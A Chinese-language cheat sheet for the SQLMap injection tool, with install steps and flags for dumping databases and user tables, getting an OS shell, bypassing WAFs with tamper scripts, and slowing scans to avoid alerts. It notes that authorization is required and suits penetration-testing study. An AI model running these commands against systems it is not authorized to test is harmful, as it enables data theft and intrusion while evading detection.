SQLMap 简易手册

自动化 SQL 注入检测与利用工具
🔗 官方网站https://sqlmap.org
🔗 GitHub 仓库https://github.com/sqlmapproject/sqlmap


1. SQLMap 简介

SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,支持:
数据库指纹识别(MySQL、Oracle、SQL Server 等)
数据提取(表/列/数据拖取)
文件系统访问(读/写文件)
操作系统命令执行(提权操作)
绕过 WAF/IDS(智能 tamper 脚本)

⚠️ 仅用于授权测试,非法使用将承担法律责任!


2. 安装方法

bash

复制

下载

1
2
3
4
5
6
7
# Kali Linux(预装)
sqlmap -h

# 其他系统
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python sqlmap.py -h

3. 核心参数速查表

功能 命令示例 说明
基本检测 sqlmap -u "http://site.com?id=1" 自动检测注入点
指定参数 sqlmap -u "http://site.com" --data="id=1" POST 请求检测
数据库识别 sqlmap -u <URL> --dbms=mysql 指定数据库类型
获取所有库 sqlmap -u <URL> --dbs 列出数据库名
获取表名 sqlmap -u <URL> -D dbname --tables 拖取指定库的表
提取数据 sqlmap -u <URL> -D dbname -T users --dump 导出表中数据
执行 OS 命令 sqlmap -u <URL> --os-shell 获取系统 Shell(需权限)
绕过 WAF sqlmap -u <URL> --tamper=space2comment 使用 tamper 脚本绕过防护

4. 高级实战技巧

  • Cookie 注入检测

    bash

    复制

    下载

    1
    sqlmap -u "http://site.com" --cookie="id=1*" --level 2
  • HTTP 头注入检测(如 User-Agent):

    bash

    复制

    下载

    1
    sqlmap -u <URL> --random-agent --level 3
  • 从 Burp 日志导入

    bash

    复制

    下载

    1
    sqlmap -r request.txt
  • 导出数据到 CSV

    bash

    复制

    下载

    1
    sqlmap -u <URL> --dump-format=CSV

5. 常用 Tamper 脚本

用于绕过安全设备:

bash

复制

下载

1
2
3
--tamper=space2dash     # 空格替换为 --
--tamper=base64encode # 参数 Base64 编码
--tamper=chardoubleencode # 双重 URL 编码

查看所有脚本:sqlmap --list-tampers


6. 注意事项

  • ⚠️ 法律合规:必须有目标系统的书面授权。
  • ⚠️ 风险控制:避免使用 --os-shell--file-write 等危险参数。
  • ⚠️ 隐蔽扫描:添加 --delay=2 降低请求频率,避免触发告警。